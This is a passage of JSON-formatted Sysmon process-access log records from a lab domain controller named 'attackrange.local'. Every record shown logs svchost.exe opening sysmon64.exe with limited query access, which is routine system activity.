11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 